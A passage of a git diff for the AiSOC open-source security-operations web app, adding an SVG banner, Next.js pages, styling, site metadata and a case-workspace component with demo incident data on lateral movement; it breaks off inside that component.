offset="0%" stop-color="#05080f"/>+ <stop offset="55%" stop-color="#0b1220"/>+ <stop offset="100%" stop-color="#0a0d14"/>+ </linearGradient>+ <radialGradient id="ogGlowBlue" cx="220" cy="160" r="320" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="rgba(59,130,246,0.55)"/>+ <stop offset="100%" stop-color="rgba(59,130,246,0)"/>+ </radialGradient>+ <radialGradient id="ogGlowAmber" cx="980" cy="500" r="280" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="rgba(251,191,36,0.35)"/>+ <stop offset="100%" stop-color="rgba(251,191,36,0)"/>+ </radialGradient>+ <pattern id="ogGrid" width="48" height="48" patternUnits="userSpaceOnUse">+ <path d="M48 0H0V48" fill="none" stroke="rgba(255,255,255,0.04)" stroke-width="1"/>+ </pattern>+ <linearGradient id="ogShieldStroke" x1="600" y1="180" x2="600" y2="450">+ <stop offset="0%" stop-color="#60a5fa"/>+ <stop offset="100%" stop-color="#1d4ed8"/>+ </linearGradient>+ <linearGradient id="ogA" x1="0" y1="0" x2="0" y2="1">+ <stop offset="0%" stop-color="#ffffff"/>+ <stop offset="100%" stop-color="#bfdbfe"/>+ </linearGradient>+ <radialGradient id="ogSpark" cx="50%" cy="50%" r="50%">+ <stop offset="0%" stop-color="#fde68a"/>+ <stop offset="100%" stop-color="#f59e0b"/>+ </radialGradient>+ </defs>++ <rect width="1200" height="630" fill="url(#ogBg)"/>+ <rect width="1200" height="630" fill="url(#ogGrid)"/>+ <rect width="1200" height="630" fill="url(#ogGlowBlue)"/>+ <rect width="1200" height="630" fill="url(#ogGlowAmber)"/>++ <!-- Mark on the left -->+ <g transform="translate(110,170)">+ <path d="M120 0 L240 65 L240 215 L120 290 L0 215 L0 65 Z"+ fill="none" stroke="url(#ogShieldStroke)" stroke-width="6" stroke-linejoin="round"/>+ <path d="M120 30 L210 80 L210 200 L120 260 L30 200 L30 80 Z"+ fill="rgba(59,130,246,0.06)" stroke="url(#ogShieldStroke)" stroke-width="2" opacity="0.6"/>+ <path d="M55 230 L120 50 L185 230 M82 175 L158 175"+ fill="none" stroke="url(#ogA)" stroke-width="14" stroke-linecap="round" stroke-linejoin="round"/>+ <circle cx="195" cy="65" r="18" fill="url(#ogSpark)"/>+ <circle cx="195" cy="65" r="30" fill="none" stroke="rgba(251,191,36,0.35)" stroke-width="3"/>+ </g>++ <!-- Wordmark + tagline -->+ <g font-family="Inter, system-ui, sans-serif" fill="#f8fafc">+ <text x="430" y="248" font-size="116" font-weight="800" letter-spacing="-3.5">AiSOC</text>+ <text x="432" y="298" font-size="22" font-weight="500" fill="#94a3b8" letter-spacing="3.6">OPEN-SOURCE " AI-NATIVE " MIT</text>+ <text x="432" y="368" font-size="34" font-weight="600" fill="#cbd5f5">The AI Security Operations Center</text>+ <text x="432" y="408" font-size="22" font-weight="400" fill="#94a3b8">Real-time detection � MITRE ATT&CK-aware � Autonomous triage</text>+ </g>++ <!-- Tag pill -->+ <g transform="translate(432,470)">+ <rect width="220" height="46" rx="23" fill="rgba(59,130,246,0.16)" stroke="rgba(96,165,250,0.55)" stroke-width="1.5"/>+ <circle cx="26" cy="23" r="6" fill="#22c55e"/>+ <circle cx="26" cy="23" r="6" fill="none" stroke="rgba(34,197,94,0.45)" stroke-width="6"/>+ <text x="48" y="30" font-family="Inter, system-ui, sans-serif" font-size="17" font-weight="600" fill="#dbeafe">Live � v3 milestone</text>+ </g>++ <!-- Footer Cyble -->+ <g transform="translate(432,548)" font-family="Inter, system-ui, sans-serif">+ <text x="0" y="0" font-size="20" fill="#64748b">github.com/beenuar/AiSOC</text>+ <text x="320" y="0" font-size="20" fill="#64748b">Built by Cyble � Free forever</text>+ </g>++ <!-- subtle perimeter -->+ <rect x="6" y="6" width="1188" height="618" rx="22" fill="none" stroke="rgba(96,165,250,0.18)" stroke-width="2"/>+</svg>diff --git a/apps/web/src/app/(app)/cases/[id]/page.tsx b/apps/web/src/app/(app)/cases/[id]/page.tsxnew file mode 100644index 000000000..e3cfbd453--- /dev/null+++ b/apps/web/src/app/(app)/cases/[id]/page.tsx@@ -0,0 +1,13 @@+import { CaseWorkspace } from '@/components/cases/CaseWorkspace';++interface CasePageProps {+ params: { id: string };+}++export const metadata = {+ title: 'Case workspace | AiSOC',+};++export default function CaseDetailPage({ params }: CasePageProps) {+ return <CaseWorkspace caseId={params.id} />;+}diff --git a/apps/web/src/app/(app)/copilot/page.tsx b/apps/web/src/app/(app)/copilot/page.tsxnew file mode 100644index 000000000..41b3923c9--- /dev/null+++ b/apps/web/src/app/(app)/copilot/page.tsx@@ -0,0 +1,9 @@+import { CopilotView } from '@/components/copilot/CopilotView';++export const metadata = {+ title: 'AI Copilot | AiSOC',+};++export default function CopilotPage() {+ return <CopilotView />;+}diff --git a/apps/web/src/app/(app)/detection/[id]/page.tsx b/apps/web/src/app/(app)/detection/[id]/page.tsxnew file mode 100644index 000000000..7f2a381a2--- /dev/null+++ b/apps/web/src/app/(app)/detection/[id]/page.tsx@@ -0,0 +1,13 @@+import { RuleEditor } from '@/components/detections/RuleEditor';++interface DetectionEditPageProps {+ params: { id: string };+}++export const metadata = {+ title: 'Detection rule | AiSOC',+};++export default function DetectionEditPage({ params }: DetectionEditPageProps) {+ return <RuleEditor mode="edit" ruleId={params.id} />;+}diff --git a/apps/web/src/app/(app)/detection/new/page.tsx b/apps/web/src/app/(app)/detection/new/page.tsxnew file mode 100644index 000000000..6b0c825ff--- /dev/null+++ b/apps/web/src/app/(app)/detection/new/page.tsx@@ -0,0 +1,9 @@+import { RuleEditor } from '@/components/detections/RuleEditor';++export const metadata = {+ title: 'New detection rule | AiSOC',+};++export default function NewDetectionPage() {+ return <RuleEditor mode="create" />;+}diff --git a/apps/web/src/app/(app)/detection/page.tsx b/apps/web/src/app/(app)/detection/page.tsxnew file mode 100644index 000000000..cefb902ea--- /dev/null+++ b/apps/web/src/app/(app)/detection/page.tsx@@ -0,0 +1,9 @@+import { DetectionsView } from '@/components/detections/DetectionsView';++export const metadata = {+ title: 'Detection rules | AiSOC',+};++export default function DetectionPage() {+ return <DetectionsView />;+}diff --git a/apps/web/src/app/(app)/graph/page.tsx b/apps/web/src/app/(app)/graph/page.tsxnew file mode 100644index 000000000..9c90469ec--- /dev/null+++ b/apps/web/src/app/(app)/graph/page.tsx@@ -0,0 +1,9 @@+import { AttackGraphView } from '@/components/graph/AttackGraphView';++export const metadata = {+ title: 'Attack Graph | AiSOC',+};++export default function GraphPage() {+ return <AttackGraphView />;+}diff --git a/apps/web/src/app/(app)/settings/page.tsx b/apps/web/src/app/(app)/settings/page.tsxnew file mode 100644index 000000000..e662d5388--- /dev/null+++ b/apps/web/src/app/(app)/settings/page.tsx@@ -0,0 +1,9 @@+import { SettingsView } from '@/components/settings/SettingsView';++export const metadata = {+ title: 'Settings | AiSOC',+};++export default function SettingsPage() {+ return <SettingsView />;+}diff --git a/apps/web/src/app/globals.css b/apps/web/src/app/globals.cssindex 3910317e9..15f995af6 100644--- a/apps/web/src/app/globals.css+++ b/apps/web/src/app/globals.css@@ -85,8 +85,44 @@ select {animation: pulse-dot 2s ease-in-out infinite;}+/* Skeleton shimmer */+@keyframes skeleton-shimmer {+ 0% { background-position: 200% 0; }+ 100% { background-position: -200% 0; }+}++/* Slow ping (used for live indicators) */+@keyframes ping-slow {+ 0% { transform: scale(1); opacity: 0.7; }+ 75%, 100% { transform: scale(2); opacity: 0; }+}++.animate-ping-slow {+ animation: ping-slow 2.5s cubic-bezier(0, 0, 0.2, 1) infinite;+}++/* Subtle glass surface */+.glass {+ background: rgba(17, 21, 31, 0.65);+ backdrop-filter: blur(12px) saturate(140%);+ -webkit-backdrop-filter: blur(12px) saturate(140%);+ border: 1px solid rgba(255, 255, 255, 0.06);+}+/* Code blocks */code {font-family: 'JetBrains Mono', 'Fira Code', 'Cascadia Code', ui-monospace, monospace;font-size: 0.875em;}++/* Reduce motion respectfully */+@media (prefers-reduced-motion: reduce) {+ *,+ *::before,+ *::after {+ animation-duration: 0.01ms !important;+ animation-iteration-count: 1 !important;+ transition-duration: 0.01ms !important;+ scroll-behavior: auto !important;+ }+}diff --git a/apps/web/src/app/layout.tsx b/apps/web/src/app/layout.tsxindex 3b147d00d..78518d6c2 100644--- a/apps/web/src/app/layout.tsx+++ b/apps/web/src/app/layout.tsx@@ -1,5 +1,6 @@-import type { Metadata } from 'next';-import { Inter } from 'next/font/google';+import type { Metadata, Viewport } from 'next';+import { Inter, JetBrains_Mono } from 'next/font/google';+import { Toaster } from 'react-hot-toast';import './globals.css';const inter = Inter({@@ -8,14 +9,61 @@ const inter = Inter({display: 'swap',});+const jetbrainsMono = JetBrains_Mono({+ subsets: ['latin'],+ variable: '--font-mono',+ display: 'swap',+});+export const metadata: Metadata = {- title: 'AiSOC - AI Security Operations Center',- description: 'Open-source AI-powered Security Operations Center by Cyble. Real-time threat detection, automated investigation, and intelligent response.',- keywords: ['SOC', 'SIEM', 'security operations', 'AI', 'threat detection', 'MITRE ATT&CK'],+ title: {+ default: 'AiSOC — AI Security Operations Center',+ template: '%s | AiSOC',+ },+ description:+ 'Open-source AI-powered Security Operations Center by Cyble. Real-time threat detection, autonomous investigation, MITRE ATT&CK-aware response — under MIT.',+ keywords: [+ 'AiSOC',+ 'SOC',+ 'SIEM',+ 'security operations',+ 'AI security',+ 'threat detection',+ 'MITRE ATT&CK',+ 'open source',+ 'SOAR',+ 'XDR',+ 'Cyble',+ ],authors: [{ name: 'Cyble', url: 'https://cyble.com' }],+ creator: 'Cyble',+ metadataBase: new URL('https://aisoc.dev'),+ openGraph: {+ title: 'AiSOC — AI Security Operations Center',+ description:+ 'Open-source AI-powered SOC. Real-time threat detection, autonomous investigation, MITRE ATT&CK-aware response.',+ type: 'website',+ siteName: 'AiSOC',+ },+ twitter: {+ card: 'summary_large_image',+ title: 'AiSOC — AI Security Operations Center',+ description:+ 'Open-source AI-powered SOC. Real-time threat detection, autonomous investigation, MITRE ATT&CK-aware response.',+ },icons: {- icon: '/favicon.ico',+ icon: [+ { url: '/favicon.svg', type: 'image/svg+xml' },+ { url: '/favicon.ico', sizes: 'any' },+ ],},+ robots: { index: true, follow: true },+};++export const viewport: Viewport = {+ themeColor: '#0a0d14',+ width: 'device-width',+ initialScale: 1,};export default function RootLayout({@@ -24,9 +72,27 @@ export default function RootLayout({children: React.ReactNode;}) {return (- <html lang="en" className={inter.variable}>+ <html lang="en" className={`${inter.variable} ${jetbrainsMono.variable}`}><body className="bg-[#0a0d14] text-gray-100 antialiased">{children}+ <Toaster+ position="bottom-right"+ toastOptions={{+ duration: 4000,+ style: {+ background: '#11151f',+ color: '#e2e8f0',+ border: '1px solid rgba(59,130,246,0.2)',+ fontSize: '0.875rem',+ },+ success: {+ iconTheme: { primary: '#22c55e', secondary: '#0a0d14' },+ },+ error: {+ iconTheme: { primary: '#ef4444', secondary: '#0a0d14' },+ },+ }}+ /></body></html>);diff --git a/apps/web/src/app/page.tsx b/apps/web/src/app/page.tsxindex 9b260ba24..050dd640e 100644--- a/apps/web/src/app/page.tsx+++ b/apps/web/src/app/page.tsx@@ -1,5 +1,36 @@-import { redirect } from 'next/navigation';+import type { Metadata } from 'next';+import { LandingNav } from '@/components/landing/LandingNav';+import { Hero } from '@/components/landing/Hero';+import { Features } from '@/components/landing/Features';+import { Architecture } from '@/components/landing/Architecture';+import { MitreStrip } from '@/components/landing/MitreStrip';+import { OpenSource } from '@/components/landing/OpenSource';+import { Footer } from '@/components/landing/Footer';-export default function RootPage() {- redirect('/alerts');+export const metadata: Metadata = {+ title: 'AiSOC — Open-source AI Security Operations Center by Cyble',+ description:+ 'Real-time detection, autonomous triage, and MITRE ATT&CK-aware investigation in one MIT-licensed platform. Self-hosted, extensible, free forever.',+ alternates: { canonical: '/' },+ openGraph: {+ title: 'AiSOC — Open-source AI Security Operations Center',+ description:+ 'Real-time detection, autonomous triage, and MITRE ATT&CK-aware investigation. MIT licensed. By Cyble.',+ images: ['/og-image.svg'],+ type: 'website',+ },+};++export default function LandingPage() {+ return (+ <main className="relative min-h-screen overflow-x-hidden bg-surface-base text-white">+ <LandingNav />+ <Hero />+ <Features />+ <Architecture />+ <MitreStrip />+ <OpenSource />+ <Footer />+ </main>+ );}diff --git a/apps/web/src/components/cases/CaseWorkspace.tsx b/apps/web/src/components/cases/CaseWorkspace.tsxnew file mode 100644index 000000000..7bfb1aacb--- /dev/null+++ b/apps/web/src/components/cases/CaseWorkspace.tsx@@ -0,0 +1,705 @@+'use client';++/**+ * Case workspace.+ *+ * The single screen an analyst lives on while working an incident:+ * - Header with title, severity, status, assignee, timing, MITRE tags+ * - Action bar: status transitions, assign, link alerts, run copilot+ * - Three-pane layout+ * Left: summary + linked alerts + assets/IOCs+ * Center: timeline (audit + activity feed)+ * Right: tasks + notes+ *+ * Like the rest of the app, this gracefully falls back to demo data if the+ * backend hasn't been seeded.+ */++import { useMemo, useState } from 'react';+import Link from 'next/link';+import useSWR from 'swr';+import { clsx } from 'clsx';+import { format, formatDistanceToNow } from 'date-fns';+import toast from 'react-hot-toast';+import {+ casesApi,+ type Case,+ type CaseSeverity,+ type CaseStatus,+ type CaseTask,+ type CaseTimelineEvent,+} from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';++// ─── Demo case ────────────────────────────────────────────────────────────────++function buildDemoCase(id: string): Case {+ const now = Date.now();+ return {+ id,+ title: 'Suspected lateral movement from finance subnet',+ description:+ "Multiple high-severity alerts indicate an attacker pivoted from " ++ "WIN-FIN-DB01 to BACKUP-SRV-12 using compromised service account credentials. " ++ "Behavior consistent with T1021.002 (SMB/Windows Admin Shares).",+ status: 'in_progress',+ severity: 'critical',+ assignee: '[email protected]',+ alertIds: ['alert-9012', 'alert-9013', 'alert-9019', 'alert-9024'],+ alertCount: 4,+ tags: ['lateral-movement', 'credential-access', 'finance-subnet'],+ mitre: ['T1021.002', 'T1078', 'T1003.001'],+ createdBy: 'system',+ createdAt: new Date(now - 6 * 60 * 60 * 1000).toISOString(),+ updatedAt: new Date(now - 12 * 60 * 1000).toISOString(),+ dueAt: new Date(now + 18 * 60 * 60 * 1000).toISOString(),+ timeline: [+ {+ id: 'tl-1',+ type: 'created',+ timestamp: new Date(now - 6 * 60 * 60 * 1000).toISOString(),+ title: 'Case created from correlation rule',+ actor: 'system',+ description:+ 'Rule "Lateral movement from privileged subnet" matched 3 alerts within 4 minutes.',+ },+ {+ id: 'tl-2',+ type: 'assigned',+ timestamp: new Date(now - 5 * 60 * 60 * 1000).toISOString(),+ title: 'Assigned to Sasha Lin',+ actor: 'andre.k',+ },+ {+ id: 'tl-3',+ type: 'agent',+ timestamp: new Date(now - 4 * 60 * 60 * 1000).toISOString(),+ title: 'Auto-investigation completed',+ actor: 'aisoc-agent',+ description:+ 'Confirmed pivot via SMB. Recommend isolating WIN-FIN-DB01 and rotating service account creds.',+ },+ {+ id: 'tl-4',+ type: 'note',+ timestamp: new Date(now - 90 * 60 * 1000).toISOString(),+ title: 'Note added',+ actor: 'sasha.lin',+ description:+ 'IT confirmed the service account belongs to the legacy backup tool. ' ++ 'Proceeding to rotate creds and revoke session.',+ },+ {+ id: 'tl-5',+ type: 'status',+ timestamp: new Date(now - 12 * 60 * 1000).toISOString(),+ title: 'Status → In progress',+ actor: 'sasha.lin',+ },+ ],+ tasks: [+ {+ id: 'task-1',+ title: 'Isolate WIN-FIN-DB01 from network',+ status: 'done',+ assignee: 'andre.k',+ createdAt: new Date(now - 3 * 60 * 60 * 1000).toISOString(),+ },+ {+ id: 'task-2',+ title: 'Rotate svc_backup credentials',+ status: 'in_progress',+ assignee: 'sasha.lin',+ createdAt: new Date(now - 2 * 60 * 60 * 1000).toISOString(),+ },+ {+ id: 'task-3',+ title: 'Forensic image of BACKUP-SRV-12',+ status: 'todo',+ createdAt: new Date(now - 60 * 60 * 1000).toISOString(),+ },+ ],+ };+}++// ─── Style maps ───────────────────────────────────────────────────────────────++const SEVERITY_BADGE: Record<CaseSeverity, string> = {+ critical: 'bg-red-500/15 text-red-300 ring-red-500/30',+ high: 'bg-orange-500/15 text-orange-300 ring-orange-500/30',+ medium: 'bg-yellow-500/15 text-yellow-300 ring-yellow-500/30',+ low: 'bg-blue-500/15 text-blue-300 ring-blue-500/30',+};++const STATUS_LABEL: Record<CaseStatus, string> = {+ open: 'Open',+ in_progress: 'In progress',+ pending: 'Pending',+ resolved: 'Resolved',+ closed: 'Closed',+};++const STATUS_DOT: Record<CaseStatus, string> = {+ open: 'bg-slate-400',+ in_progress: 'bg-blue-400 animate-pulse',+ pending: 'bg-amber-400',+ resolved: 'bg-emerald-400',+ closed: 'bg-slate-600',+};++const TASK_STATUS_BADGE: Record<CaseTask['status'], string> = {+ todo: 'bg-slate-500/15 text-slate-300 ring-slate-500/30',+ in_progress: 'bg-blue-500/15 text-blue-300 ring-blue-500/30',+ done: 'bg-emerald-500/15 text-emerald-300 ring-emerald-500/30',+};++const TIMELINE_ICON: Record<string, string> = {+ created: '🆕',+ assigned: '👤',+ status: '🔄',+ note: '📝',+ agent: '🤖',+ comment: '💬',+ alert: '🚨',+};++// ─── Sub-components ───────────────────────────────────────────────────────────++function StatusPill({ status }: { status: CaseStatus }) {+ return (+ <span className="inline-flex items-center gap-1.5 rounded-full border border-slate-700/70 bg-slate-800/40 px-2 py-0.5 text-xs font-medium text-slate-200">+ <span className={clsx('h-1.5 w-1.5 rounded-full', STATUS_DOT[status])} />+ {STATUS_LABEL[status]}+ </span>+ );+}++function MitreChip({ id }: { id: string }) {+ return (+ <a+ href={`https://attack.mitre.org/techniques/${id.replace('.', '/')}/`}+ target="_blank"+ rel="noreferrer"+ className="rounded-full border border-orange-500/30 bg-orange-500/10 px-2 py-0.5 text-[11px] font-medium text-orange-300 transition-colors hover:bg-orange-500/20"+ >+ {id} ↗+ </a>+ );+}++function TimelineItem({ event }: { event: CaseTimelineEvent }) {+ const icon = TIMELINE_ICON[event.type] ?? '•';+ return (+ <li className="relative pl-10">+ <span className="absolute left-0 top-1 flex h-7 w-7 items-center justify-center rounded-full border border-slate-700/70 bg-slate-900 text-sm">+ {icon}+ </span>+ <div className="rounded-lg border border-slate-800/60 bg-slate-900/40 p-3">+ <div className="flex flex-wrap items-baseline gap-x-2 gap-y-0.5">+ <p className="text-sm font-medium text-slate-100">{event.title}</p>+ {event.actor && (+ <span className="text-[11px] text-slate-500">by {event.actor}</span>+ )}+ <span className="ml-auto text-[11px] text-slate-500">+ {formatDistanceToNow(new Date(event.timestamp), { addSuffix: true })}+ </span>+ </div>+ {event.description && (+ <p className="mt-1.5 text-xs text-slate-400">{event.description}</p>+ )}+ </div>+ </li>+ );+}++interface TaskRowProps {+ task: CaseTask;+ onChangeStatus: (status: CaseTask['status']) => void;+}++function TaskRow({ task, onChangeStatus }: TaskRowProps) {+ const next: CaseTask['status'] =+ task.status === 'todo'+ ? 'in_progress'+ : task.status === 'in_progress'+ ? 'done'+ : 'todo';++ return (+ <li className="flex items-start gap-2 rounded-lg border border-slate-800/60 bg-slate-900/40 px-3 py-2">+ <button+ onClick={() => onChangeStatus(next)}+ className={clsx(+ 'mt-0.5 flex h-5 w-5 flex-none items-center justify-center rounded border text-[11px] transition-colors',+ task.status === 'done'+ ? 'border-emerald-500/40 bg-emerald-500/15 text-emerald-300'+ : task.status === 'in_progress'+ ? 'border-blue-500/40 bg-blue-500/15 text-blue-300'+ : 'border-slate-600 text-slate-500 hover:border-slate-400',+ )}+ aria-label={`Mark task ${next}`}+ title={`Move to ${next}`}+ >+ {task.status === 'done' ? '✓' : task.status === 'in_progress' ? '·' : ''}+ </button>+ <div className="min-w-0 flex-1">+ <p+ className={clsx(+ 'text-sm',+ task.status === 'done'+ ? 'text-slate-500 line-through'+ : 'text-slate-100',+ )}+ >+ {task.title}+ </p>+ <div className="mt-0.5 flex flex-wrap items-center gap-x-2 text-[11px] text-slate-500">+ <span+ className={clsx(+ 'inline-flex items-center rounded px-1.5 py-0.5 ring-1',+ TASK_STATUS_BADGE[task.status],+ )}+ >+ {task.status.replace('_', ' ')}+ </span>+ {task.assignee && <span>@{task.assignee}</span>}+ <span>+ {formatDistanceToNow(new Date(task.createdAt), { addSuffix: true })}+ </span>+ </div>+ </div>+ </li>+ );+}++// ─── Main ─────────────────────────────────────────────────────────────────────++export function CaseWorkspace({ caseId }: { caseId: string }) {+ const [demoMode, setDemoMode] = useState(false);+ const { data, error, isLoading, mutate } = useSWR<Case>(+ ['case', caseId],+ () => casesApi.get(caseId),+ { revalidateOnFocus: false, shouldRetryOnError: false },+ );++ const useFallback = !!error;+ const caseRecord: Case | undefined = useMemo(() => {+ if (data) return data;+ if (useFallback) return buildDemoCase(caseId);+ return undefined;+ }, [data, useFallback, caseId]);++ // Track demo mode for the header banner.+ if (useFallback && !demoMode) setDemoMode(true);++ // ─── Local mutations (optimistic) ──────────────────────────────────────────++ const [newComment, setNewComment] = useState('');+ const [newTask, setNewTask] = useState('');+ const [statusUpdating, setStatusUpdating] = useState(false);++ const updateStatus = async (status: CaseStatus) => {+ if (!caseRecord) return;+ setStatusUpdating(true);+ void mutate({ ...caseRecord, status }, { revalidate: false });+ try {+ await casesApi.update(caseRecord.id, { status });+ toast.success(`Status → ${STATUS_LABEL[status]}`);+ } catch {+ toast(+ `Demo: status set to ${STATUS_LABEL[status]} locally (backend offline)`,+ { icon: '⚠️' },+ );+ } finally {+ setStatusUpdating(false);+ }+ };++ const addComment = async () => {+ const trimmed = newComment.trim();+ if (!caseRecord || !trimmed) return;+ const optimistic: CaseTimelineEvent = {+ id: `tl-tmp-${Date.now()}`,+ type: 'comment',+ timestamp: new Date().toISOString(),+ title: 'Comment',+ description: trimmed,+ actor: 'you',+ };+ void mutate(+ { ...caseRecord, timeline: [...(caseRecord.timeline ?? []), optimistic] },+ { revalidate: false },+ );+ setNewComment('');+ try {+ await casesApi.addComment(caseRecord.id, trimmed);+ toast.success('Comment added');+ } catch {+ toast('Saved locally (backend offline)', { icon: '📝' });+ }+ };++ const addTask = async () => {+ const trimmed = newTask.trim();+ if (!caseRecord || !trimmed) return;+ const optimistic: CaseTask = {+ id: `task-tmp-${Date.now()}`,+ title: trimmed,+ status: 'todo',+ createdAt: new Date().toISOString(),+ };+ void mutate(+ { ...caseRecord, tasks: [...(caseRecord.tasks ?? []), optimistic] },+ { revalidate: false },+ );+ setNewTask('');+ try {+ await casesApi.addTask(caseRecord.id, optimistic);+ toast.success('Task added');+ } catch {+ toast('Saved locally (backend offline)', { icon: '✓' });+ }+ };++ const updateTaskStatus = async (+ taskId: string,+ status: CaseTask['status'],+ ) => {+ if (!caseRecord) return;+ const tasks = (caseRecord.tasks ?? []).map((t) =>+ t.id === taskId ? { ...t, status } : t,+ );+ void mutate({ ...caseRecord, tasks }, { revalidate: false });+ try {+ await casesApi.updateTask(caseRecord.id, taskId, { status });+ } catch {+ // already optimistically applied; nothing to do+ }+ };++ // ─── Render ────────────────────────────────────────────────────────────────++ if (isLoading) {+ return (+ <div className="space-y-4">+ <Skeleton className="h-12 w-2/3 rounded-lg" />+ <Skeleton className="h-32 w-full rounded-lg" />+ <div className="grid grid-cols-1 gap-4 lg:grid-cols-3">+ <Skeleton className="h-96 w-full rounded-lg" />+ <Skeleton className="h-96 w-full rounded-lg lg:col-span-2" />+ </div>+ </div>+ );+ }++ if (!caseRecord) {+ return (+ <ErrorState+ title="Couldn't load case"+ error={error}+ onRetry={() => void mutate()}+ action={+ <Link+ href="/cases"+ className="rounded-md border border-slate-700/70 bg-slate-800/50 px-3 py-1.5 text-sm font-medium text-slate-200 hover:border-slate-600"+ >+ Back to cases+ </Link>+ }+ />+ );+ }++ const sortedTimeline = [...(caseRecord.timeline ?? [])].sort(+ (a, b) =>+ new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(),+ );++ const tasks = caseRecord.tasks ?? [];+ const tasksDone = tasks.filter((t) => t.status === 'done').length;+ const tasksProgress = tasks.length === 0 ? 0 : Math.round((tasksDone / tasks.length) * 100);++ return (+ <div className="space-y-5">+ {/* Breadcrumb + demo banner */}+ <div className="flex flex-wrap items-center justify-between gap-2">+ <div className="flex items-center gap-2 text-xs">+ <Link href="/cases" className="text-slate-500 hover:text-slate-300">+ Cases+ </Link>+ <span className="text-slate-600">/</span>+ <span className="font-mono text-slate-400">{caseRecord.id}</span>+ </div>+ {demoMode && (+ <span className="inline-flex items-center gap-1.5 rounded-full bg-amber-500/10 px-2 py-0.5 text-[11px] text-amber-300 ring-1 ring-amber-500/30">+ <span className="h-1.5 w-1.5 rounded-full bg-amber-400" />+ Demo data — backend offline+ </span>+ )}+ </div>++ {/* Header */}+ <div className="rounded-xl border border-slate-800/80 bg-gradient-to-br from-slate-900/60 via-slate-900/40 to-slate-900/20 p-5">+ <div className="flex flex-wrap items-start justify-between gap-3">+ <div className="min-w-0">+ <div className="flex flex-wrap items-center gap-2">+ <span+ className={clsx(+ 'inline-flex items-center rounded px-2 py-0.5 text-[11px] font-bold uppercase tracking-wide ring-1',+ SEVERITY_BADGE[caseRecord.severity],+ )}+ >+ {caseRecord.severity}+ </span>+ <StatusPill status={caseRecord.status} />+ {caseRecord.tags?.map((t) => (+ <span+ key={t}+ className="rounded bg-slate-800/60 px-2 py-0.5 text-[11px] text-slate-300"+ >+ #{t}+ </span>+ ))}+ </div>+ <h1 className="mt-2 text-xl font-semibold text-white">+ {caseRecord.title}+ </h1>+ {caseRecord.description && (+ <p className="mt-2 max-w-3xl text-sm text-slate-400">+ {caseRecord.description}+ </p>+ )}+ {caseRecord.mitre && caseRecord.mitre.length > 0 && (+ <div className="mt-3 flex flex-wrap items-center gap-1.5 text-xs">+ <span className="text-slate-500">MITRE ATT&CK:</span>+ {caseRecord.mitre.map((m) => (+ <MitreChip key={m} id={m} />+ ))}+ </div>+ )}+ </div>++ {/* Action bar */}+ <div className="flex flex-wrap items-center gap-2">+ <select+ value={caseRecord.status}+ onChange={(e) => void updateStatus(e.target.value as CaseStatus)}+ disabled={statusUpdating}+ className="rounded-md border border-slate-700/70 bg-slate-900/60 px-2 py-1.5 text-xs text-slate-200 focus:border-emerald-500/40 focus:outline-none"+ >+ {(['open', 'in_progress', 'pending', 'resolved', 'closed'] as CaseStatus[]).map(+ (s) => (+ <option key={s} value={s}>+ {STATUS_LABEL[s]}+ </option>+ ),+ )}+ </select>+ <button+ onClick={() => toast('Copilot will be wired up here.', { icon: '🤖' })}+ className="rounded-md border border-emerald-500/40 bg-emerald-500/10 px-3 py-1.5 text-xs font-semibold text-emerald-200 transition-colors hover:bg-emerald-500/20"+ >+ Investigate with AI+ </button>+ </div>+ </div>++ {/* Meta row */}+ <div className="mt-4 grid grid-cols-2 gap-2 border-t border-slate-800/60 pt-4 text-xs text-slate-400 sm:grid-cols-4">+ <Meta label="Assignee" value={caseRecord.assignee?.split('@')[0] ?? '—'} />+ <Meta+ label="Created"+ value={format(new Date(caseRecord.createdAt), 'MMM d, HH:mm')}+ />+ <Meta+ label="Updated"+ value={formatDistanceToNow(new Date(caseRecord.updatedAt), {+ addSuffix: true,+ })}+ />+ <Meta+ label="SLA"+ value={+ caseRecord.dueAt+ ? `${formatDistanceToNow(new Date(caseRecord.dueAt))} left`+ : '—'+ }+ />+ </div>+ </div>++ {/* Three-pane layout */}+ <div className="grid grid-cols-1 gap-4 lg:grid-cols-12">+ {/* Left: Linked alerts + IOCs */}+ <aside className="lg:col-span-3 space-y-4">+ <Panel title={`Linked alerts (${caseRecord.alertIds?.length ?? 0})`}>+ {(caseRecord.alertIds ?? []).length === 0 ? (+ <EmptyState+ title="No alerts linked"+ description="Link alerts from the alerts feed."+ />+ ) : (+ <ul className="space-y-1.5">+ {(caseRecord.alertIds ?? []).map((id) => (+ <li key={id}>+ <Link+ href={`/alerts?focus=${encodeURIComponent(id)}`}+ className="flex items-center justify-between rounded-md border border-slate-800/80 bg-slate-900/40 px-2.5 py-1.5 text-xs text-slate-300 transition-colors hover:border-slate-700 hover:bg-slate-800/40"+ >+ <span className="font-mono">{id}</span>+ <span className="text-slate-500">→</span>+ </Link>+ </li>+ ))}+ </ul>+ )}+ </Panel>++ <Panel title="Tasks">+ <div className="mb-2 flex items-center gap-2 text-[11px] text-slate-400">+ <div className="h-1.5 flex-1 overflow-hidden rounded-full bg-slate-800">+ <div+ className="h-full rounded-full bg-emerald-500 transition-all"+ style={{ width: `${tasksProgress}%` }}+ />+ </div>+ <span>+ {tasksDone}/{tasks.length}+ </span>+ </div>+ {tasks.length === 0 ? (+ <EmptyState title="No tasks yet" description="Add the first one below." />+ ) : (+ <ul className="space-y-1.5">+ {tasks.map((t) => (+ <TaskRow+ key={t.id}+ task={t}+ onChangeStatus={(s) => void updateTaskStatus(t.id, s)}+ />+ ))}+ </ul>+ )}+ <div className="mt-2 flex items-center gap-2">+ <input+ value={newTask}+ onChange={(e) => setNewTask(e.target.value)}+ onKeyDown={(e) => {+ if (e.key === 'Enter') void addTask();+ }}+ placeholder="Add task and press ↵"+ className="flex-1 rounded-md border border-slate-700/70 bg-slate-900/40 px-2 py-1.5 text-xs text-slate-100 placeholder-slate-600 focus:border-emerald-500/40 focus:outline-none"+ />+ <button+ onClick={() => void addTask()}+ className="rounded-md bg-emerald-500 px-2.5 py-1.5 text-xs font-semibold text-emerald-950 transition-colors hover:bg-emerald-400 disabled:cursor-not-allowed disabled:bg-slate-800 disabled:text-slate-500"+ disabled={!newTask.trim()}+ >+ Add+ </button>+ </div>+ </Panel>+ </aside>++ {/* Center: Timeline */}+ <section className="lg:col-span-6">+ <Panel+ title="Timeline"+ actions={+ <span 